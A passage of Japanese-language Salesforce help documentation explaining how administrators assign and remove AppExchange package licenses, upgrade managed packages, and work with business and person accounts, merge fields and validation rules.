1. [設定] から、[クイック検索]ボックスに「インストール済みパッケージ」と入
力し、[インストール済みパッケージ] を選択します。

2. パッケージの横の [ライセンスの管理] をクリックします。

メモ: パッケージのライセンスを割り当てるには、そのパッケージへの
アクセス権と使用可能なライセンスが少なくとも 1 つ必要です。

• 他のユーザにもライセンスを割り当てるには、[ユーザを追加]をクリック
します。

• ユーザからライセンスを削除するには、ユーザ名の横の[削除]をクリックします。複数のユーザからラ
イセンスを削除するには、[複数ユーザを削除] をクリックします。

• 任意の列ヘッダーをクリックすると、その列のデータの昇順にユーザが並び替えられます。ヘッダーを
もう一度クリックすると、降順に並び替えられます。

• 必要に応じて、[減らす] または [追加] を選択して、表示する表示リストの長さを変更できます。

関連トピック:

管理パッケージへのライセンスの割り当て
インストール済みパッケージへのライセンスの割り当て
インストール済みパッケージのライセンスの削除
ライセンス管理申請への応答
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管理パッケージへのライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザを編集する
• 「内部ユーザの管理」

AppExchange パッケージ
のライセンスを管理する
• 「パッケージライセン

スの管理」

ライセンス付き管理パッケージを AppExchange から組織にインストールすると
き、パッケージの開発者または公開者から一定数のライセンスを購入します。
組織内のユーザに各ライセンスを割り当てることができます。使用可能なライ
センスをすべて割り当ててしまったものの、その他のユーザにもライセンスを
許可したい場合、ライセンスの再割り当てを行うか、ライセンスを追加購入し
ます。ライセンスの追加購入については、管理パッケージの公開者にお問い合
わせください。
ユーザ詳細ページの [管理パッケージ] 関連リストには、ユーザに割り当てられ
ているすべての管理パッケージが一覧表示されます。管理パッケージにライセ
ンスを割り当てると、ユーザはそのパッケージを Salesforce で使用できるように
なります。未管理パッケージにはライセンスを割り当てることができないため、
リストに表示されません。

メモ: サイトライセンスを購入した場合や、管理パッケージがライセンス
管理されていない場合は、組織のすべてのユーザに対してライセンスが割
り当てられ、ライセンスを管理することはできません。ユーザは、適切な
権限を持つ限り、そのパッケージを使用できます。

使用可能な管理パッケージのライセンスにユーザを割り当てる手順は、次のと
おりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. [管理パッケージ] リストから [ライセンスの割り当て] をクリックします。
3. ユーザに割り当てるパッケージを選択します。使用可能な管理パッケージがすべて [未割り当てパッケージ]

リストに一覧表示されます。パッケージを選択すると、そのパッケージが自動的に [選択済みパッケージ]

リストに追加されます。Salesforce

[未割り当てパッケージ] リストには、ライセンスの割り当て後にユーザがアクセスできるようになるすべ
てのパッケージが表示されます。パッケージが未管理、未インストール、使用中、または利用できない場
合は、リストに表示されません。
• 文字をクリックすると、その文字で始まるパッケージが表示されます。[すべて]をクリックすると、使

用可能な管理パッケージがすべて表示されます。
• [表示の選択] をクリックすると、現在のページの [未割り当てパッケージ] リストに表示されているすべ

てのパッケージが選択され、下の [選択済みパッケージ] リストに追加されます。
• [表示の選択解除] または [すべて選択解除] をクリックすると、パッケージは [選択済みパッケージ] エリ

アから [未割り当てパッケージ] エリアに移動します。

4. [追加] をクリックします。
このユーザのライセンスを無効にするには、該当パッケージ名の横にある [削除] リンクをクリックします。

関連トピック:

インストール済みパッケージのライセンス管理
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インストール済みパッケージへのライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange アプリケー
ションのライセンスを管
理する
• 「パッケージライセン

スの管理」

ライセンスを Force.com AppExchange ユーザに割り当てる手順は、次のとおりで
す。

メモ: サイトライセンスを購入した場合や、管理パッケージがライセンス
管理されていない場合は、組織のすべてのユーザに対してライセンスが割
り当てられ、ライセンスを管理することはできません。ユーザは、適切な
権限を持つ限り、そのパッケージを使用できます。

1. [設定] から、[クイック検索]ボックスに「インストール済みパッケージ」と入
力し、[インストール済みパッケージ] を選択して、使用可能なライセンスの
あるインストール済みパッケージを検索します。

2. パッケージ名の横の [ライセンスの管理] リンクをクリックします。
3. [ユーザを追加] をクリックします。
4. ドロップダウンリストからビューを選択するか、[新規ビューの作成]をクリッ

クして、新規カスタムビューを作成します。
5. 文字をクリックすると、その文字と一致する姓を持つユーザに絞り込まれま

す。[すべて] をクリックすると、現在のビューの検索基準に一致するすべて
のユーザが表示されます。

6. ユーザを選択します。
• 個々のユーザを選択するには、チェックボックスを使用します。選択し

たユーザは、[選択されたリスト] に表示されます。ライセンスを割り当てるすべてのユーザをリストに
入れたら、[追加] をクリックします。

• 現在のビューのすべてのユーザを選択するには、[すべてのユーザを追加]をクリックしてから [OK]をク
リックします。

メモ: ユーザの詳細ページから、その個々のユーザを追加することもできます。

関連トピック:

インストール済みパッケージのライセンス管理
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インストール済みパッケージのライセンスの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange パッケージ
のライセンスを管理する
• 「パッケージライセン

スの管理」

AppExchange パッケージのライセンスを複数のユーザから削除する手順は、次の
とおりです。
1. [設定] から、[クイック検索]ボックスに「インストール済みパッケージ」と入

力し、[インストール済みパッケージ] を選択します。
2. パッケージ名の横の [ライセンスの管理] をクリックします。
3. [複数ユーザを削除] をクリックします。
4. 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。

5. 文字をクリックすると、その文字と一致する姓を持つユーザに絞り込まれま
す。[すべて] をクリックすると、現在のビューの検索基準に一致するすべて
のユーザが表示されます。

6. ユーザを選択します。
• 個々のユーザを選択するには、チェックボックスを使用します。選択し

たユーザは、[削除選択済み] リストに表示されます。ライセンスを削除す
るすべてのユーザをリストに入れたら、[削除] をクリックします。

• 現在のビューのすべてのユーザを選択するには、[すべてのユーザを削除]

をクリックしてから [OK] をクリックします。

次のオプションを使用して、個々のユーザから AppExchange パッケージのライセンスを削除することもできま
す。
1. [設定] から、[クイック検索]ボックスに「ユーザ」と入力し、[ユーザ]を選択してから、管理パッケージリ

ストでパッケージの横にある [削除] をクリックします。
2. [設定] から、[クイック検索]ボックスに「インストール済みパッケージ」と入力し、[インストール済みパッ

ケージ]を選択します。次に、パッケージ名の横にある [ライセンスの管理]をクリックし、ユーザの横にあ
る [削除] をクリックします。

関連トピック:

インストール済みパッケージのライセンス管理
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ライセンス管理申請への応答

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

登録申請に応答する
• 「アプリケーションの

カスタマイズ」

ライセンスマネージャは、特定のAppExchangeパッケージをインストールしたす
べての Salesforce 契約ユーザを追跡する Salesforce 組織です。Salesforce システム管
理者は、他の組織をパッケージのライセンスマネージャとして指定するかどう
かを選択できます。ライセンスマネージャは、パッケージを管理している組織
と異なっていてもかまいません。他の組織をライセンスマネージャとして選択
するには、メールアドレスが必要です (Salesforce ユーザ名は不要です)。Salesforce

システム管理者がサードパーティをライセンスマネージャとして指定すること
を選択し、あなたのメールアドレスを入力すると、そのアドレス宛てにライセ
ンス管理申請がメールとして送信されます。
登録申請への応答手順は、次のとおりです。
1. そのメール中のライセンス管理申請リンクをクリックします。申請者の

Developer Edition 組織中の登録申請が表示されます。
2. [引き受ける] をクリックして登録を終了します。または、[却下] をクリック

して申請を拒否し、リンクを再利用しないようブラウザを閉じます。

メモ: この申請を受諾した場合は、Salesforce に対して、Salesforce 組織内
へのこのパッケージに関する情報の追跡を目的としたレコードの自動作
成を承認したことになります。ライセンスマネージャ組織の選択は、永
続的であり変更できません。

3. このパッケージのライセンス管理に使用するSalesforce組織のユーザ名とパス
ワードを入力します。ライセンスマネージャには、Force.comAppExchangeから
無償のライセンス管理アプリケーション (LMA) をインストールした、任意の
Salesforce 組織を指定できます。

4. [確認] をクリックします。

関連トピック:

インストール済みパッケージのライセンス管理
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API を使用したライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange アプリケー
ションのライセンスを管
理する
• 「パッケージライセン

スの管理」

システム管理者は API を使用して、組織にインストールされた管理パッケージの
ライセンスの割り当てまたは取り消しを行うことができます。パッケージのラ
イセンス情報は、PackageLicense と UserPackageLicense の 2 つのオブジェクトに保存
されます。これらのオブジェクトは、以前は [設定] の [ライセンスの管理] ペー
ジでのみアクセス可能でした。これらが標準オブジェクトとしてアクセス可能
になったため、システム管理者は API コールを介して特定のユーザにライセンス
を割り当てることができます。これにより、特に大規模なリリース環境での登
録者組織のパッケージライセンス管理をすばやく簡単に行うことができます。
たとえば、システム管理者が社内の 200 名すべての営業担当者によって使用され
るアプリケーションをインストールするとします。UI から各営業担当者にライ
センスを割り当てることは、非効率的で時間がかかります。API を使用すると、
システム管理者はプロファイルに基づいて 1 つの手順ですべての営業担当者に
ライセンスを割り当てることができます。
システム管理者が API を使用して実行できる、いくつかの一般的なライセンスタ
スクを次に示します。
• 使用中のパッケージライセンスと使用可能なパッケージライセンスの数を判

別する。
• 特定のユーザがパッケージのライセンスを所有しているかどうかを確認す

る。
• パッケージのライセンスを所有しているすべてのユーザのリストを取得する。
• パッケージライセンスをユーザまたはユーザグループに割り当てる。
• 以前ユーザに割り当てられていたパッケージライセンスを取り消す。
PackageLicense および UserPackageLicense オブジェクトの詳細と、コードのサンプルは、『SalesforceおよびForce.com

のオブジェクトリファレンス』を参照してください。
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パッケージのアップグレード
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

パッケージをインストー
ルまたはアンインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

Salesforce は、管理パッケージのアップグレードのみサポートしています。公開
者は、管理パッケージのアップグレードを公開し、新しいバージョンが利用で
きることをインストールしているユーザに通知できます。管理パッケージをイ
ンストールしているユーザは、次の手順でアップグレードをインストールでき
ます。
1. アップグレードをインストールする前に、インストール済みのアプリケー

ションが管理パッケージから削除されたかどうかを判断します。各コンポー
ネントの詳細ページとインストール済みパッケージの一覧から、 [管理-イ
ンストール済み] アイコンを検索します。
管理パッケージからインストールしているアプリケーション以外はアップグ
レードできません。

2. 次に、AppExchangeから他のパッケージをインストールするときと同じ方法で
アップグレードをインストールします。公開者が新しいバージョンへのリン
クを提供した場合は、パッケージのアップロードへのリンクに従ってインス
トールします。インストールウィザードの最初のページに、インストール済
みの現在のバージョン、これからインストールできるバージョン、および新
バージョンに組み込まれている追加コンポーネントの一覧が表示されます。

管理パッケージのアップグレードに関するメモ
管理パッケージのアップグレードを公開するときは、次の点に留意してくださ
い。
• 以前にリリースされたすべての既存カスタムオブジェクトもリリースされま

す。新規カスタムオブジェクトまたは以前にリリースされなかったカスタム
オブジェクトをリリースするように要求されます。Salesforce

• パッケージのコンポーネントのプロファイル設定は、顧客が編集することはできますが、パッケージ開発
者がアップグレードすることはできません。パッケージをリリースした後に開発者がプロファイル設定に
変更を加えても、アップグレードにはその変更内容が反映されません。顧客は、パッケージのアップグレー
ド後に手動でプロファイル設定を更新する必要があります。これに対し、パッケージの権限セットは開発
者がアップグレードできるため、開発者が加えた変更は、パッケージをアップグレードした後に顧客組織
に反映されます。

• 開発者が必須カスタム項目を追加する場合、その項目の値はデフォルト値になります。
• 「編集可能だがアップグレード不可能」なコンポーネントのトランスレーションワークベンチの値は、アッ

プグレードから除外されます。
• インストール済みパッケージの API アクセスが [制限あり] になっていると、アップグレード済みバージョ

ンに Sコントロールが含まれていない場合にのみ、アップグレードが成功します。アップグレードされた
バージョンに Sコントロールがある場合は、現在インストール済みのパッケージのAPIアクセスを [無制限]

に変更する必要があります。
• パッケージをアップグレードするときは、たとえ開発者が指定したものであっても、APIアクセスの変更は

無視されます。このようにして、アップグレードをインストールするシステム管理者に完全な制御権があ
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ることを保証します。インストールするユーザはインストール中の各アップグレードで、パッケージのア
クセスの変更を慎重に検討し、すべての受け入れ可能な変更に注意する必要があります。これらの変更は
無視されるため、システム管理者は、アップグレードをインストールした後で、受け入れ可能な変更を手
動で適用する必要があります。

FAQ - パッケージのインストール
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• AppExchange からインストールしたパッケージをアンインストールできます
か?

• AppExchange は誰が使用できますか?

• インストールまたはアップグレードに失敗した原因は?

• AppExchange パッケージをカスタマイズできますか?

• AppExchange パッケージは誰が使用できますか?

• インストール済みパッケージのアップグレード方法は?

• インストールするコンポーネントの安全性は?

• パッケージをインストールすると自分の名前空間プレフィックスはどうなり
ますか?

• AppExchangeパッケージをアンインストールした後に、再インストールできま
すか?

• AppExchangeにリストされているパッケージをインストールするときに、パッケージに含まれるカスタムオ
ブジェクト、タブ、アプリケーションは、Salesforce のエディションの制限にカウントされますか?

AppExchange からインストールしたパッケージをアンインストールできます
か?
はい、できます。インストールされたすべてのパッケージが [インストール済みパッケージ] ページに表示され
ます。どのパッケージも、パッケージ名の横にある[アンインストール]リンクをクリックすると、削除できま
す。

AppExchange は誰が使用できますか?
誰でもAppExchangeを参照し、テストドライブすることができます。Salesforceシステム管理者および「AppExchange

パッケージのダウンロード」権限のあるユーザは、AppExchange アプリケーションをインストールできます。
ユーザがアプリケーションをAppExchangeに公開するには、「AppExchangeパッケージの作成」権限と「AppExchange

パッケージのアップロード」権限の両方が必要です。

インストールまたはアップグレードに失敗した原因は?
インストールに失敗する原因は、いくつかあります。
• パッケージに、組織のカスタムオブジェクトの制限を超えるカスタムオブジェクトがある。
• パッケージに、組織のカスタムタブ制限を超えるカスタムタブがある。
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• パッケージの開発者がより新しいバージョンのパッケージをアップロードし、このインストール URL に関
連付けられたバージョンを非推奨にした。パッケージの公開者に、最新のインストール URL を問い合わせ
てください。

• パッケージに拡張機能をインストールしようとしているが、基本パッケージをインストールしていない。
• パッケージでは、特定のコンポーネントが組織で有効になっているか、必要な機能がエディションで有効

になっている必要がある。
• パッケージに Apex コードが含まれているが、組織で Apex を実行する権限がない。
• インストール中のパッケージが Apex テストに失敗した。

AppExchange パッケージをカスタマイズできますか?
はい。すべてのパッケージをカスタマイズできます。ただし、将来のバージョンと互換性を保証するために、
管理パッケージの一部は変更できません。
管理パッケージの編集可能コンポーネントの一覧は、『ISVforce ガイド』を参照してください。

AppExchange パッケージは誰が使用できますか?
Enterprise Edition、Unlimited Edition、Performance Edition、または Developer Edition の組織を使用している場合、インス
トール手順の一部として、パッケージにアクセスできるユーザのプロファイルを選択できます。Professional

Edition および Group Edition の組織にインストールされるパッケージは、すべてのユーザプロファイルに「フル
アクセス」でインストールされます。ただし、使用されているエディションに関わらず、すべてのカスタムオ
ブジェクトは「開発中」モードでインストールされるため、標準ユーザ全員に対して非表示になります。ユー
ザが「開発中」モードのカスタムオブジェクトを参照するには、「アプリケーションのカスタマイズ」権限を
持っている必要があります。パッケージを他のユーザにロールアウトする準備が整ったら、カスタムオブジェ
クトの状況を「開発済み」に変更します。

インストール済みパッケージのアップグレード方法は?
管理パッケージは、完全にアップグレードできます。パッケージをインストールする前に、公開者に連絡して
パッケージが管理されているかどうかを確認します。

インストールするコンポーネントの安全性は?
Salesforce は、AppExchange の公開リストにあるすべてのアプリケーションの定期的なセキュリティレビューを
実行します。データアクセス機能があるサードパーティアプリケーションをインストールした場合、これらの
アプリケーションは、パッケージがインストールされた組織内の他のデータにアクセスできる可能性がありま
す。非公開リストにあるアプリケーションには、セキュリティレベルは実行されません。システム管理者は、
アプリケーションを慎重に調査して、組織内にインストールするかどうかを決定する必要があります。
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パッケージをインストールすると自分の名前空間プレフィックスはどうなりま
すか?
名前空間プレフィックスは、管理パッケージを作成する場合に要求できるグローバルに一意の識別子です。他
の開発者からインストールする管理パッケージのすべてのコンポーネントには、組織に開発者の名前空間プレ
フィックスが含まれます。未管理パッケージが、管理パッケージを含む組織で開発されていれば、未管理パッ
ケージに名前空間プレフィックスを含めることができます。この名前空間は、開発 (パブリッシャー) 組織の外
部で使用されません。名前空間がない組織に未管理パッケージをインストールすると、登録者組織では未管理
コンポーネントに名前空間が含まれません。名前空間がある組織に未管理パッケージをインストールすると、
コンポーネントは登録者組織の名前空間を取得します。

AppExchangeパッケージをアンインストールした後に、再インストールできま
すか?
はい、できます。パッケージは、以前にインストールしたときと同じ方法で再インストールできます。

AppExchangeにリストされているパッケージをインストールするときに、パッ
ケージに含まれるカスタムオブジェクト、タブ、アプリケーションは、Salesforce
のエディションの制限にカウントされますか?
いいえ。AppExchangeからパッケージをインストールする場合、カスタムオブジェクト、タブ、アプリケーショ
ンは、Salesforceのエディションの制限にカウントされません。ただし、パッケージがカスタム項目などその他
の種類のカスタムコンポーネントを使用する場合は、Salesforceのエディションの該当する制限にカウントされ
ます。

メモ: これらのルールは、AppExchange にリストされている管理パッケージにのみ適用されます。未管理
パッケージまたは AppExchange のリストに公開されていない管理パッケージをインストールする場合は、
カスタムオブジェクト、タブ、アプリケーションがSalesforceのエディションの制限にカウントされます。
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顧客への営業

Salesforce を使用した営業のさらなる成功

顧客への販売をさらに成功させましょう。ここでは、Salesforceの主要なセールス機能と営業の生産性機能につ
いて説明します。

中核的なセールス機能
販売する相手、提供する商品やサービスなどの基本事項を管理します。
• 取引先
• 取引先責任者
• リード
• キャンペーン
• 商談
• 商品と価格表
• 契約
• ソーシャルネットワークとのインテグレーション
• エンタープライズテリトリー管理
• コラボレーション売上予測
• Data.com

営業の生産性の機能
行動の追跡、メールによる顧客とのコミュニケーションなどにより、Salesforce 環境を強化します。
• ホーム
• メモ
• 活動
• 行動とカレンダー
• ToDo

• Salesforce メール
• Office 365™ 向け Microsoft® Email とのインテグレーション
• Work.com
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営業先の人および組織の管理

顧客、競合、およびパートナーの設定

取引先

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce の取引先を使用して、処理する顧客または事業体 (企業、学校、政府機
関、個人など) に関する情報を保存します。
取引先は、顧客に関して把握しているすべての情報を保存するファイルフォル
ダと考えてください。たとえば、企業に関する情報を保存する場合、名称、所
在地、取引先責任者、過去および現在の注文、その他の関連情報が含まれます。
電話やサービス要求のログを保持することもできます。
Salesforceでは、企業自体に関する情報 (名称、所在地、Web サイトなど) は、取引
先レコードとして保存されます。取引先に関連する情報 (取引先責任者、メモ、
注文など) は、他のタイプのレコードに保存されます。各取引先のすべての関連
レコードは、見つけやすいように取引先レコードのホームページにリストされ
ます。[取引先] タブで、取引先の検索、作成、削除、並び替え、絞り込みができ
ます。取引先を選択すると、取引先レコードのホームページの表示、取引先の
編集、その取引先に関連する他のレコードへのアクセスができます。
取引先に関して理解しておくべき点がいくつかあります。
Salesforce には 2 つの種別の取引先責任者がある

Salesforce の取引先は、デフォルトで法人取引先になります。法人取引先は、
企業やその他の事業体に関する情報を保存するために使用されます。Salesforce

システム管理者は、個人に関する情報を保存するために使用される、個人取
引先を設定することもできます。たとえば、個人取引先は、顧客がオンライ
ンショッピングの購入者、ジムの会員、休暇旅行者、その他の個人消費者で
ある場合に最適です。会社が対象とする販売先に応じて、この種別のいずれ
かのみ、または両方の取引先を使用可能にする場合があります。

メモ: Salesforce ヘルプやその他のドキュメントでは、取引先という単独の用語は常に法人取引先と個
人取引先の両方を指します。法人取引先および個人取引先という用語は、これら 2 つの種別の取引先
に違いがある場合に使用されます。

取引先機能の名前を変更できる
Salesforceシステム管理者が、[取引先] という名前を「クライアント」や「患者」など、事業に適した名前に
変更することができます。ただし、Salesforce ヘルプでは常に取引先と呼ばれます。

ユーザはモバイルデバイスで取引先にアクセスできる
取引先へは、Salesforceフルサイトから、または Salesforceシステム管理者が Salesforce1アクセスを有効にして
いれば、Salesforce1 モバイルアプリケーションからアクセスできます。
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取引先からソーシャルネットワークとニュースにリンクできる
会社でソーシャル取引先、取引先責任者、およびリード、ニュースコンポーネント (Lightning Experience の
み)、またはData.com Clean機能を使用している場合、取引先に関する追加情報や最新情報を利用できます。

関連トピック:

ソーシャル取引先、取引先責任者、およびリード
取引先チーム
Lightning Experience でのメールおよびテンプレートの管理
Lightning Experience での作業の管理と過去の活動の表示
ソーシャル取引先、取引先責任者、およびリード

個人取引先とは?

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

個人取引先には、個人消費者に関する情報が保存されます。

メモ: このリリースには、Lightning Experienceの個人取引先のベータバージョ
ンが含まれています。本番品質ではありますが、既知の制限があります。
組織での個人取引先の有効化については、「個人取引先の有効化」 (ページ
2040)を参照してください。

Salesforce の取引先は、デフォルトで法人取引先になります。法人取引先は、企
業やその他の事業体に関する情報を保存するために使用されます。Salesforce シ
ステム管理者は、個人に関する情報を保存するために使用される、個人取引先
を設定することもできます。たとえば、個人取引先は、顧客がオンラインショッ
ピングの購入者、ジムの会員、休暇旅行者、その他の個人消費者である場合に
最適です。会社が対象とする販売先に応じて、この種別のいずれかのみ、また
は両方の取引先を使用可能にする場合があります。
個人取引先と法人取引先の機能は異なります。たとえば、個人取引先には取引
先責任者を設定できません。代わりに、個人取引先レコードには、一般的に法
人取引先責任者として保存する情報 (姓、名など) が保存されます。個人取引先
は通常、取引先責任者と同様に処理できます。たとえば、個人取引先に対し、
ミーティングへの招待、キャンペーンへの関連付けができます。個人取引先と
法人取引先の違いについては、「個人取引先の処理」を参照してください。

メモ: Salesforceヘルプやその他のドキュメントでは、取引先という単独の用
語は常に法人取引先と個人取引先の両方を指します。法人取引先および個
人取引先という用語は、これら 2 つの種別の取引先に違いがある場合に使
用されます。

関連トピック:

個人取引先の処理
取引先
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個人取引先の差し込み項目の使用に関する考慮事項

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

差し込み項目は、レコードから値を取り込むために、メール、メールテンプレー
ト、メールの差し込みテンプレート、カスタムリンク、数式に配置できる項目
です。カスタム HTML テンプレートの件名と本文中に差し込み項目を使用できま
す。差し込み項目を使用するときには、そのしくみと、ドキュメントおよびメー
ルへの差し込み結果がどうなるかを理解しておくことをお勧めします。
• 組織で個人取引先を使用している場合には、法人取引先および個人取引先項

目を取引先の差し込み項目として使用できます。[誕生日]、[メール]、[役
職] など、個人取引先に固有の取引先項目には、差し込み項目名に
「Account.Person」と記載されています。たとえば、
{!Account.PersonBirthdate} です。

• {!Account.IsPersonAccount} という差し込み項目を使用して、個人取引先または法
人取引先のどちらを使用するかを決定できます。

• 一部の取引先責任者の項目は取引先オブジェクトの一部として表示されるた
め、以前は一意の名前と表示ラベルが指定されていた取引先項目が一意では
なくなる場合があります。取引先ページのこれらの項目は、個人取引先アイ
コン ( ) で示されます。差し込み項目が正しい項目を参照できるよう、取
引先に含まれているすべての取引先のカスタム項目の項目名と表示ラベルが
組織で一意であることを確認します。詳細は、「個人取引先とは?」 (ページ
1373)を参照してください。

重要:

• 複数のカスタムオブジェクトに一致する名前や表示ラベルがある場合、
[使用可能な差し込み項目] から選択するときにいずれか 1 つのオブジェ
クトのみが表示されます。どのオブジェクトからも差し込み項目を選択
できるように、すべてのカスタムオブジェクトの項目名と表示ラベルが
一意であるようにしてください。

関連トピック:

取引先
個人取引先の入力規則
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個人取引先の入力規則

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

重要: 個人取引先は、一度有効化すると無効化できません。そのため、既
存顧客の場合は、Sandbox を作成して個人取引先が組織に与える影響をプレ
ビューすることをお勧めします。

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。利用
可能な差し込み項目のリストは、使用しているデータ型によって異なります。
このトピックでは、個人取引先で入力規則に差し込み項目を使用する際の考慮
事項について説明します。

ヒント
• 個人取引先にのみ適用する入力規則を定義するには、IsPersonAccount 差

し込み項目を使用します。たとえば、Account.City = “San Francisco”

では、法人または個人取引先の市区郡がサンフランシスコであることを確認
し、IsPersonAccount ( Account.City = “San Francisco”)では、個
人取引先の市区郡がサンフランシスコであることを確認します。

• 取引先の入力規則では個人取引先名と法人取引先名を異なる方法で扱う必要
があります。
– 法人取引先では、差し込み項目 Name を使用します。
– 個人取引先では、差し込み項目の FirstName と LastName を使用しま

す。
• [誕生日]、[メール]、その他の個人取引先に対してのみサポートされる項目を、取引先の入力規則で差し

込み項目として使用できます。これらの差し込み項目を使用する場合、法人取引先のレコードでは、これ
らの項目が空白値として処理されます。法人取引先項目および個人取引先項目については、「取引先項目」
(ページ 1386)を参照してください。

関連トピック:

取引先
個人取引先の差し込み項目の使用に関する考慮事項

法人取引先の定義と、個人取引先との違いは?

法人取引先は、複数の取引先責任者と関連付けることのできる会社、法人などのビジネスエンティティです。
法人取引先は、すべてのエディションで利用でき、フォルダアイコン ( ) で表示されます。
Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、Salesforce 組織で個人取引先
( ) を使用できるように設定できます。個人取引先は、取引先および取引先責任者として同時に機能する個々
の消費者です。

関連トピック:

取引先
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個人取引先の処理

エディション

法人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

個人取引先は多くの場合、取引先責任者としても利用できます。ただし、個人
取引先には、法人取引先および取引先責任者と異なる主要な領域や固有の考慮
事項があります。

メモ: このリリースには、Lightning Experienceの個人取引先のベータバージョ
ンが含まれています。本番品質ではありますが、既知の制限があります。
組織での個人取引先の有効化については、「個人取引先の有効化」 (ページ
2040)を参照してください。

個人取引先の処理Salesforce の機能

個人取引先は、Salesforce Classicのみで他の個人取引先との
みマージできます。「重複する取引先のマージ」 (ページ
1403)を参照してください。

取引先のマージ

取引先のホームページで、[簡易作成] 領域の項目は、プ
ロファイルに設定されたデフォルトの取引先レコードタ
イプが個人取引先レコードタイプか、法人取引先レコー
ドタイプかによって決定されます。

取引先の簡易作成

個人取引先は取引先階層に含めることはできません。
個人取引先には、他の取引先または取引先責任者との直
接リレーションを設定できません。ただし、取引先責任

取引先

者-to-複数取引先を使用して、個人取引先と他の個人取引
先、法人取引先、または取引先責任者間の間接リレーショ
ンを作成できます。

個人取引先は、[名前] または [関連先] の項目のいずれ
かを使用して行動または ToDo と関連付けることができま
す。
取引先責任者と同様、個人取引先は、行動に招待できま
す。

活動

ユーザが個人取引先とのミーティングを要請するには、
[個人取引先]ページレイアウトに [メール]項目を追加す
る必要があります。

取引先責任者と同様、個人取引先は、キャンペーンに追
加でき、[キャンペーン履歴] 関連リストを設定できます。

キャンペーン

ケースでは、個人取引先は、[取引先名]項目、[取引先責
任者名] 項目、または両方に入力できます。

ケース

個人取引先をフォローする場合、取引先責任者項目では
なく、取引先項目をフォローします。

Chatterフィード追跡
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個人取引先の処理Salesforce の機能

取引先責任者と同様、個人取引先は、カスタマーコミュニティおよびカスタ
マーポータルのユーザとして有効化できます。
個人取引先をパートナーコミュニティおよびパートナーポータルのユーザとし
て有効化することはできません。

コミュニティおよびポータ
ル

取引先責任者と同様、[取引先責任者の役割] 関連リストを使用して個人取引先
を取引先、ケース、取引先責任者、および商談に関連付けることができます。
同様に、[取引先責任者の役割] 関連リストを使用して取引先責任者を個人取引
先に関連付けることができます。

取引先責任者の役割

法人取引先と異なり、個人取引先には取引先責任者との直接リレーションを設
定できません。ただし、取引先責任者-to-複数取引先を使用して、個人取引先と
取引先責任者間の間接リレーションを作成できます。

取引先責任者

取引先責任者-to-複数取引先は、個人取引先で機能します。つまり、個人取引先
を法人取引先の関連取引先責任者または取引先責任者の関連取引先にすること

取引先責任者-to-複数取引先

ができます。個人取引先は、関連取引先責任者または関連取引先として別の個
人取引先に関連付けることもできます。個人取引先は常に、他の取引先または
取引先責任者と間接的に関連付けられます。

取引先または取引先責任者に対するリレーションを持つカスタムオブジェクト
は、個人取引先の関連リストとして追加できます。

カスタムオブジェクト

個人取引先は、Data.com の商品および機能 (プロスぺクタ、クリーンアップ、
データインテグレーションなど) ではサポートされません。

Data.com

個人取引先は、次の Salesforce インテグレーション機能でサポートされていま
す。

デスクトップインテグレー
ション

• Lightning for Outlook

